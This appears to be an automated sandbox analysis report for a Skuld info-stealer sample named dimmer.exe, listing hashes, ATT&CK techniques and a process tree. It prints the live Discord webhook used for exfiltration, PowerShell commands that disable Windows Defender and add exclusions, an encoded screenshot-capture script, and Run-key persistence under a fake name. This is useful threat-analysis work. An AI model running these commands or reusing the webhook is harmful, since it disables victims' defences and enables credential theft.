skuld | 125643154c12934da22ed365bacba707a3cc353cde588401f84d61e181e83cad

Analysis

max time kernel
26s
max time network
19s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
14-09-2024 16:33

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General

Target

dimmer.exe
Size

9.9MB
MD5

caf1fa6480af98c28355550668388ab3
SHA1

793510e3cfc758b970a405dfb568697b388b22f4
SHA256

125643154c12934da22ed365bacba707a3cc353cde588401f84d61e181e83cad
SHA512

a5c1d2cf802528251779de302c4d3d84578126e11f3ce2b960d17248915d6ae353ff9b6b9cfce038bde15b940e5b29115210c26a22455e108f0b70b83036fd2f
SSDEEP

98304:OiyzkxkJslYf0Wk8+Z6Uhv0wD4xD1ZvE7IgwmZmHJ1RY7:OqkJsmD/Uhv0E4N1ZsrqG7

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1284535584374788180/DTgo2B6AyyBKkX7ZD2ZgnrcH0GT_qiLrmFMYI7yzH3RIwEtqht0lE9OyyQtWrmyXQ8Hl

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1224 powershell.exe
2172 powershell.exe

pid	process
1224	powershell.exe
2172	powershell.exe

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exedimmer.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	dimmer.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

dimmer.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	dimmer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

11 discord.com
12 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

9 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

flow	ioc
11	discord.com
12	discord.com

flow	ioc
9	ip-api.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

netsh.exe

pid process

4456 netsh.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

2296 wmic.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 10 Go-http-client/1.1

pid	process
4456	netsh.exe

pid	process
2296	wmic.exe

description	flow	ioc
HTTP User-Agent header	10	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

dimmer.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	dimmer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	dimmer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	dimmer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

dimmer.exepowershell.exepowershell.exe

pid	process
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
1224	powershell.exe
1224	powershell.exe
1224	powershell.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2172	powershell.exe
2172	powershell.exe
2172	powershell.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe
2792	dimmer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

dimmer.exewmic.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	2792	dimmer.exe
Token: SeIncreaseQuotaPrivilege	2812	wmic.exe
Token: SeSecurityPrivilege	2812	wmic.exe
Token: SeTakeOwnershipPrivilege	2812	wmic.exe
Token: SeLoadDriverPrivilege	2812	wmic.exe
Token: SeSystemProfilePrivilege	2812	wmic.exe
Token: SeSystemtimePrivilege	2812	wmic.exe
Token: SeProfSingleProcessPrivilege	2812	wmic.exe
Token: SeIncBasePriorityPrivilege	2812	wmic.exe
Token: SeCreatePagefilePrivilege	2812	wmic.exe
Token: SeBackupPrivilege	2812	wmic.exe
Token: SeRestorePrivilege	2812	wmic.exe
Token: SeShutdownPrivilege	2812	wmic.exe
Token: SeDebugPrivilege	2812	wmic.exe
Token: SeSystemEnvironmentPrivilege	2812	wmic.exe
Token: SeRemoteShutdownPrivilege	2812	wmic.exe
Token: SeUndockPrivilege	2812	wmic.exe
Token: SeManageVolumePrivilege	2812	wmic.exe
Token: 33	2812	wmic.exe
Token: 34	2812	wmic.exe
Token: 35	2812	wmic.exe
Token: 36	2812	wmic.exe
Token: SeIncreaseQuotaPrivilege	2812	wmic.exe
Token: SeSecurityPrivilege	2812	wmic.exe
Token: SeTakeOwnershipPrivilege	2812	wmic.exe
Token: SeLoadDriverPrivilege	2812	wmic.exe
Token: SeSystemProfilePrivilege	2812	wmic.exe
Token: SeSystemtimePrivilege	2812	wmic.exe
Token: SeProfSingleProcessPrivilege	2812	wmic.exe
Token: SeIncBasePriorityPrivilege	2812	wmic.exe
Token: SeCreatePagefilePrivilege	2812	wmic.exe
Token: SeBackupPrivilege	2812	wmic.exe
Token: SeRestorePrivilege	2812	wmic.exe
Token: SeShutdownPrivilege	2812	wmic.exe
Token: SeDebugPrivilege	2812	wmic.exe
Token: SeSystemEnvironmentPrivilege	2812	wmic.exe
Token: SeRemoteShutdownPrivilege	2812	wmic.exe
Token: SeUndockPrivilege	2812	wmic.exe
Token: SeManageVolumePrivilege	2812	wmic.exe
Token: 33	2812	wmic.exe
Token: 34	2812	wmic.exe
Token: 35	2812	wmic.exe
Token: 36	2812	wmic.exe
Token: SeDebugPrivilege	1224	powershell.exe
Token: SeIncreaseQuotaPrivilege	3844	wmic.exe
Token: SeSecurityPrivilege	3844	wmic.exe
Token: SeTakeOwnershipPrivilege	3844	wmic.exe
Token: SeLoadDriverPrivilege	3844	wmic.exe
Token: SeSystemProfilePrivilege	3844	wmic.exe
Token: SeSystemtimePrivilege	3844	wmic.exe
Token: SeProfSingleProcessPrivilege	3844	wmic.exe
Token: SeIncBasePriorityPrivilege	3844	wmic.exe
Token: SeCreatePagefilePrivilege	3844	wmic.exe
Token: SeBackupPrivilege	3844	wmic.exe
Token: SeRestorePrivilege	3844	wmic.exe
Token: SeShutdownPrivilege	3844	wmic.exe
Token: SeDebugPrivilege	3844	wmic.exe
Token: SeSystemEnvironmentPrivilege	3844	wmic.exe
Token: SeRemoteShutdownPrivilege	3844	wmic.exe
Token: SeUndockPrivilege	3844	wmic.exe
Token: SeManageVolumePrivilege	3844	wmic.exe
Token: 33	3844	wmic.exe
Token: 34	3844	wmic.exe
Token: 35	3844	wmic.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

dimmer.exepowershell.execsc.exe

description	pid	process	target process
PID 2792 wrote to memory of 408	2792	dimmer.exe	attrib.exe
PID 2792 wrote to memory of 408	2792	dimmer.exe	attrib.exe
PID 2792 wrote to memory of 2812	2792	dimmer.exe	wmic.exe
PID 2792 wrote to memory of 2812	2792	dimmer.exe	wmic.exe
PID 2792 wrote to memory of 4832	2792	dimmer.exe	attrib.exe
PID 2792 wrote to memory of 4832	2792	dimmer.exe	attrib.exe
PID 2792 wrote to memory of 1224	2792	dimmer.exe	powershell.exe
PID 2792 wrote to memory of 1224	2792	dimmer.exe	powershell.exe
PID 2792 wrote to memory of 3844	2792	dimmer.exe	wmic.exe
PID 2792 wrote to memory of 3844	2792	dimmer.exe	wmic.exe
PID 2792 wrote to memory of 2296	2792	dimmer.exe	wmic.exe
PID 2792 wrote to memory of 2296	2792	dimmer.exe	wmic.exe
PID 2792 wrote to memory of 2172	2792	dimmer.exe	powershell.exe
PID 2792 wrote to memory of 2172	2792	dimmer.exe	powershell.exe
PID 2792 wrote to memory of 4920	2792	dimmer.exe	wmic.exe
PID 2792 wrote to memory of 4920	2792	dimmer.exe	wmic.exe
PID 2792 wrote to memory of 4400	2792	dimmer.exe	attrib.exe
PID 2792 wrote to memory of 4400	2792	dimmer.exe	attrib.exe
PID 2792 wrote to memory of 4456	2792	dimmer.exe	netsh.exe
PID 2792 wrote to memory of 4456	2792	dimmer.exe	netsh.exe
PID 2792 wrote to memory of 2548	2792	dimmer.exe	attrib.exe
PID 2792 wrote to memory of 2548	2792	dimmer.exe	attrib.exe
PID 2792 wrote to memory of 4024	2792	dimmer.exe	powershell.exe
PID 2792 wrote to memory of 4024	2792	dimmer.exe	powershell.exe
PID 4024 wrote to memory of 3964	4024	powershell.exe	csc.exe
PID 4024 wrote to memory of 3964	4024	powershell.exe	csc.exe
PID 3964 wrote to memory of 4864	3964	csc.exe	cvtres.exe
PID 3964 wrote to memory of 4864	3964	csc.exe	cvtres.exe

Views/modifies file attributes 1 TTPs 4 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid process

408 attrib.exe
4832 attrib.exe
4400 attrib.exe
2548 attrib.exe

pid	process
408	attrib.exe
4832	attrib.exe
4400	attrib.exe
2548	attrib.exe

C:\Users\Admin\AppData\Local\Temp\dimmer.exe
"C:\Users\Admin\AppData\Local\Temp\dimmer.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2792
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\dimmer.exe
  2⤵
  - Views/modifies file attributes
  PID:408
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2812
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:4832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\dimmer.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1224
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3844
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2172
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:4920
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:4400
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4456
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:2548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ewz040mp\ewz040mp.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3964
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
